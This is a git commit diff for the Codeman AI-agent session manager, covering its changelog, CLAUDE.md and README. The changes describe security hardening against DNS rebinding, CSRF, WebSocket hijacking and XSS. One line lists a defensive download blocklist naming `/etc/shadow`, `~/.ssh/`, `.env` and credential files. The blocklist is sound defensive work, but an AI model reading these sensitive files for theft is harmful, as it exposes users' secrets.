chore: version packages

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

.gitignore

@@ -61,10 +61,17 @@ tmp/
 
 # Opt-in gesture overlay runtime assets: large MediaPipe wasm + model (~27 MB)
 # fetched at build/install by scripts/fetch-gesture-assets.mjs, kept out of git.
-# (The gesture bundle itself, gesture-codeman.js, IS tracked.)
+# (The gesture bundle itself, gesture-codeman.js, IS tracked — built from
+# packages/gesture-control source by `npm run build:gesture`.)
 src/web/public/gesture/wasm/
 src/web/public/gesture/*.task
 
+# Gesture-control workspace package build outputs (source is tracked; the
+# Codeman bundle is emitted to src/web/public/gesture/gesture-codeman.js instead).
+packages/gesture-control/dist/
+packages/gesture-control/dist-codeman/
+packages/gesture-control/.vite/
+
 # Claude Code plan tracking
 plan.json
 

.prettierignore

@@ -2,8 +2,27 @@ dist/
 coverage/
 node_modules/
 src/web/public/vendor/
+src/web/public/gesture/
 src/web/public/app.js
 src/web/public/styles.css
 src/web/public/mobile.css
 src/web/public/index.html
+# Hand-formatted public JS modules (never prettier-enforced; the new
+# check-public-assets.mjs still validates NUL bytes + JS syntax on these).
+src/web/public/constants.js
+src/web/public/image-input.js
+src/web/public/input-cjk.js
+src/web/public/keyboard-accessory.js
+src/web/public/notification-manager.js
+src/web/public/orchestrator-panel.js
+src/web/public/panels-ui.js
+src/web/public/ralph-panel.js
+src/web/public/ralph-wizard.js
+src/web/public/respawn-ui.js
+src/web/public/session-ui.js
+src/web/public/settings-ui.js
+src/web/public/sw.js
+src/web/public/terminal-ui.js
+src/web/public/voice-input.js
+src/web/public/upload.html
 scripts/remotion/

CHANGELOG.md

@@ -1,5 +1,114 @@
 # aicodeman
 
+## 0.9.7
+
+### Patch Changes
+
+- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
+  - **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
+  - **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
+
+## 0.9.6
+
+### Patch Changes
+
+- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
+  - The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
+  - App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
+
+  This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
+
+## 0.9.5
+
+### Patch Changes
+
+- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
+  - **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
+  - **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
+  - **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
+  - **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
+  - **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
+
+  Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
+
+## 0.9.4
+
+### Patch Changes
+
+- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
+
+  **New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
+  - **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
+  - **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
+  - **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
+  - **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
+  - **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
+  - New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
+
+  **Also in this release:**
+  - Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
+  - Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
+
+## 0.9.3
+
+### Patch Changes
+
+- Installer security notice + clarify gesture control stays opt-in and default-off.
+  - **Installer:** `install.sh` now prints the network-security notice as the final block of both the fresh install (one-line `curl … | bash`) and the update flow, so it stays visible to the user: Codeman binds `127.0.0.1` by default (no password needed), and the safe ways to reach it remotely (`tailscale serve` / tunnel, or `--host 0.0.0.0` + `CODEMAN_PASSWORD`), noting a non-loopback bind without a password still starts but warns loudly.
+  - **Gesture control** is **disabled by default** and is enabled only by the per-user toggle at App Settings → Display → Input → Gesture Control (`gestureControlEnabled`, default `false`). Setting `CODEMAN_GESTURE=1` on the server only makes the feature _available_ (CSP widening + same-origin `/gesture/` assets); it does **not** turn the overlay on. There is no default-on path — the bundle is injected only when a user explicitly enables the setting.
+
+## 0.9.2
+
+### Patch Changes
+
+- Vendor the gesture-control source into the repo for in-tree development.
+
+  The hand-tracking overlay's source (previously the standalone `Ark0N/codeman-gesture-control` repo) now lives at `packages/gesture-control/` as the `codeman-gesture-control` workspace package: the transport-agnostic gesture core (`src/gesture/*` — MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine), the Codeman consumer entry (`src/codeman/entry.ts`, maps grab/drag/drop onto real session tabs + toolbar buttons), and a standalone vite playground for iterating on gesture feel.
+  - New `npm run build:gesture` (`scripts/build-gesture-bundle.mjs`) esbuild-bundles `entry.ts` into the served `src/web/public/gesture/gesture-codeman.js`; `scripts/build.mjs` now reruns it on every production build so the served bundle always reflects current source. The MediaPipe wasm + model stay runtime-loaded from same-origin `/gesture/` (unchanged).
+  - Added `@mediapipe/tasks-vision@0.10.21` as the package dependency (kept in sync with `fetch-gesture-assets.mjs`). The playground uses vite 7 (no known advisories).
+
+  No change to the shipped app behavior — gesture control remains opt-in (`CODEMAN_GESTURE=1` + the App Settings → Input toggle). This release just makes the overlay developable inside the Codeman repo.
+
+## 0.9.1
+
+### Patch Changes
+
+- Multi-monitor & settings UX fixes.
+  - **Multi-monitor button (remote servers):** the "span displays" button spawns `scripts/span-codeman.sh` server-side, so on a non-macOS Codeman server it can't open a window on your machine. The non-macOS API error now explains this and points to running the script locally on your Mac with the remote server URL; the script header documents the same remote-client workflow.
+  - **App Settings modal:** stop the modal overflowing horizontally on narrow viewports.
+  - **systemd:** sync the `codeman-web.service` template with the deployed unit.
+
+## 0.9.0
+
+### Minor Changes
+
+- Security hardening release: network-bind policy, auth lockout recovery, download/SVG hardening, dependency & supply-chain fixes, tmux launch reliability, and a full security-architecture doc.
+
+  **Network binding (COD-29, #107):**
+  - The web server now defaults to binding `127.0.0.1` (loopback) instead of `0.0.0.0`, so a fresh install is reachable only from the same machine and needs no password. New `--host` / `-H` / `CODEMAN_HOST` flag to choose the bind host.
+  - Binding a non-loopback host **without** `CODEMAN_PASSWORD` no longer refuses to start — it **starts and prints a loud warning** with the three ways to secure it (set `CODEMAN_PASSWORD`, bind loopback + an authenticated tunnel / `tailscale serve`, or acknowledge with `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`). This keeps Codeman "just working" for new users while making remote exposure a guided, explicit choice. Host classification lives in the new `src/web/network-auth-policy.ts` (handles `127.0.0.0/8`, `::1`, `::ffff:127.*`, bracketed IPv6).
+  - A post-install security note now explains the loopback default and how to expose safely.
+
+  **Authentication (COD-29, #107):**
+  - Auth lockout now recovers gracefully: the per-IP rate-limit (`429`) check runs **after** the cookie/credential checks, so a valid session cookie or correct password is never locked out by a prior attacker's failures from the same IP (important behind a shared-IP tunnel). Wrong credentials are still counted and still hit the limit, and a `Retry-After` header is returned.
+
+  **Downloads & content-type hardening (COD-29, #107):**
+  - New session-scoped `POST /api/download` route: realpath-bounded to the session working dir, a sensitive-path blocklist (`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, …), `isFile()` + 50 MB cap, forced `attachment`.
+  - Workspace `.svg` files are served as `application/octet-stream` + `attachment` + `nosniff` (closes a stored-XSS-via-SVG vector); `nosniff` now applies to all `file-raw` responses.
+
+  **Dependencies & supply chain (COD-28, #106):**
+  - Bumped security-sensitive deps to patched versions (`@fastify/static` 9, `fastify` 5.8, `uuid` 14, `vitest` 4.1, …) and added `overrides` for patched transitives (`picomatch`, `basic-ftp`, `fast-uri`, `flatted`); `npm audit` goes from 7 advisories to 0.
+  - New `npm run check:public-assets` (`scripts/check-public-assets.mjs`): scans `src/web/public/**` for literal NUL bytes and runs `node --check` on every `.js` file, plus a Prettier pass on maintained files. Removed literal NUL placeholders from `app.js`. Added `test/dependency-security.test.ts` and `test/frontend-public-tooling.test.ts`.
+
+  **tmux launch reliability (COD-31, #110):**
+  - New tmux sessions and respawns launch from a stable `/tmp` and `cd` into the workspace inside the pane, avoiding `new-session` crashes when a FUSE/rclone-mounted workspace has a transient mount blip at launch. The `cd "<dir>" && <cmd>` form is fail-safe (the CLI never runs in `/tmp`) and the path is validated + double-quoted.
+
+  **Test stability (COD-30, #108):**
+  - Cleared leaked auth env in the Vitest setup, corrected stale route status-code / SSE-lifecycle expectations to match shipped behavior, updated the mobile keyboard accessory expectations, and measured DOMContentLoaded via browser navigation timing. Also fixed the `WebServer` title tests for the new `host` constructor arg + async `renderIndexHtml`.
+
+  **Docs:**
+  - New `docs/security-architecture.md` documenting the full model (network binding, auth pipeline, the tunnel `req.ip` caveat, file-serving hardening, supply-chain, multi-instance isolation, security headers, and recommended secure setups). CLAUDE.md updated accordingly.
+
 ## 0.8.2
 
 ### Patch Changes

CLAUDE.md

@@ -56,7 +56,7 @@ When user says "COM":
 
 CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
 
-**Version**: 0.8.2 (must match `package.json`)
+**Version**: 0.9.7 (must match `package.json`)
 
 ## Project Overview
 
@@ -78,13 +78,17 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 |------|---------|
 | Dev with TLS | `npx tsx src/index.ts web --https` |
 | Override window title hostname | `npx tsx src/index.ts web --title-hostname <name>` (default: `os.hostname()` — `codeman:<name>` is used for tab title, title-flash, and OS desktop notification prefix) |
+| Bind a non-loopback host | `npx tsx src/index.ts web --host 0.0.0.0` (or `-H`; env `CODEMAN_HOST`; default `127.0.0.1`). Without `CODEMAN_PASSWORD` it **starts but warns loudly** — see Common Gotchas + `docs/security-architecture.md` |
 | Continuous typecheck | `tsc --noEmit --watch` |
 | Test coverage | `npm run test:coverage` |
 | Dead-code sweep | `npm run knip` (config in `knip.json`) |
+| Rebuild gesture overlay | `npm run build:gesture` (esbuild `packages/gesture-control/src/codeman/entry.ts` → `src/web/public/gesture/gesture-codeman.js`; commit the result) |
+| Gesture playground | `npm run dev` **in** `packages/gesture-control/` (standalone vite demo, fake tabs) |
+| Check public-asset formatting | `npm run check:public-assets` (prettier-checks `src/web/public/**` text assets; `scripts/check-public-assets.mjs`) |
 | Production start | `npm run start` |
 | Production logs | `journalctl --user -u codeman-web -f` |
 
-**CI**: `.github/workflows/ci.yml` runs `check:lockfile`, `typecheck`, `lint`, `format:check` on push to master/main and on PRs (Node 22). Tests excluded (they spawn tmux).
+**CI**: `.github/workflows/ci.yml` runs `check:lockfile`, `typecheck`, `lint`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s) on push to master/main and on PRs (Node 22). The unit test suite is excluded (it spawns tmux).
 
 **Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.
 
@@ -99,6 +103,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 - **Dual-CLI prefix discipline** — Codeman supports both Claude Code and OpenCode (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward both prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
 - **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
 - **`xterm-zerolag-input` is duplicated** — the local-echo overlay lives in BOTH `packages/xterm-zerolag-input/src/` (published to npm as a standalone library for external consumers — see README "Published Packages") AND inline inside `src/web/public/app.js` (runtime copy the web UI actually loads, since the page ships as plain JS without a bundler). Any change to overlay behavior MUST be applied to both, or dev and prod diverge — and a public API break in the package warrants a separate version bump for `xterm-zerolag-input` in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
+- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
 - **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.
 
 **Import conventions**: Utils from `./utils`, types from `./types` (barrel), config from specific `./config/*` files.
@@ -121,13 +126,13 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 | **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
 | **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
 | **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
-| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
+| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts` | |
 | **Frontend** | `src/web/public/app.js` (~3.4K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 7 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 5 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | |
-| **Types** | `src/types/index.ts` (barrel) → 14 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
+| **Types** | `src/types/index.ts` (barrel) → 15 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
 
 ★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
 
-**Local package**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; copy embedded in `app.js`.
+**Local packages**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; copy embedded in `app.js`. `packages/gesture-control/` (`codeman-gesture-control`) — hand-tracking overlay source; built to `src/web/public/gesture/gesture-codeman.js` via `npm run build:gesture` (see Frontend → Gesture control).
 
 **Config**: `src/config/` — 10 files. Import from specific files, not barrel.
 
@@ -154,6 +159,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
 
+**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
+
 **Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
 
 ### Frontend
@@ -166,20 +173,27 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
 
+**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.
+
 **Respawn presets**: `solo-work` (3s/60min), `subagent-workflow` (45s/240min), `team-lead` (90s/480min), `ralph-todo` (8s/480min), `overnight-autonomous` (10s/480min).
 
 **Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+W (kill), Ctrl+Tab (next), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font).
 
 ### Security
 
+**Full model: [`docs/security-architecture.md`](docs/security-architecture.md)** — network binding, auth pipeline, the tunnel caveat, file-serving hardening, supply-chain, instance isolation, and recommended secure setups.
+
 | Layer | Details |
 |-------|---------|
-| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars |
+| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
+| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
+| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
+| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
 | **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
 | **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
 | **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
 | **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
-| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
+| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
 | **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
 | **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |
 
@@ -189,7 +203,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ### API Routes
 
-~130 handlers across 15 route files in `src/web/routes/`: system (37, incl. `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (5), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+~134 handlers across 15 route files in `src/web/routes/`: system (40, incl. self-update `check`/`status`/`POST /api/system/update` + `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
 
 ## Adding Features
 
@@ -204,7 +218,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ## State Files
 
-All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
 
 ## Testing
 

README.md

@@ -5,7 +5,11 @@
 <h2 align="center">The missing control plane for AI coding agents</h2>
 
 <p align="center">
-  <em>Agent Visualization &bull; Zero-Lag Input Overlay &bull; Mobile-First UI &bull; Respawn Controller &bull; Multi-Session Dashboard </em>
+  <em>Agent Visualization &bull; Zero-Lag Input &bull; Autonomous Orchestrator &bull; Respawn Controller &bull; Mobile-First UI &bull; Hardened Security</em>
+</p>
+
+<p align="center">
+  <strong>English</strong> &bull; <a href="README.zh-CN.md">简体中文</a>
 </p>
 
 <p align="center">
@@ -13,7 +17,7 @@
   <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
   <a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
   <a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
-  <img src="https://img.shields.io/badge/Tests-1435%20total-22c55e?style=flat-square" alt="Tests">
+  <img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
 </p>
 
 <p align="center">
@@ -34,7 +38,7 @@ You'll need at least one AI coding CLI installed — [Claude Code](https://docs.
 
 ```bash
 codeman web
-# Open http://localhost:3000 — press Ctrl+Enter to start your first session
+# Open http://localhost:3000 and start your first session
 ```
 
 <details>
@@ -177,6 +181,8 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
 - **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
 - **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
 
+**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
+
 ---
 
 ## Zero-Lag Input Overlay
